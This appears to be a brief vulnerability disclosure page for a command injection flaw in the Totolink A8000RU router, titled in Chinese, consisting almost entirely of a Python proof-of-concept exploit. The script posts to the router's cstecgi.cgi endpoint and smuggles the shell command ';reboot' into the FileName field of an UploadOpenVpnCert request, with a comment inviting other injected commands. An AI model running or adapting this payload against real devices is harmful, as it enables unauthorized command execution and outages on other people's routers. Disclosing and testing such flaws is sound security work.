CVE-2026-9455: Totolink A8000RU操作系统命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)" } # Payload injects a command to execute via the FileName parameter # Example: Rebooting the device or echoing a test string payload = { "action": "UploadOpenVpnCert", "FileName": ";reboot" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)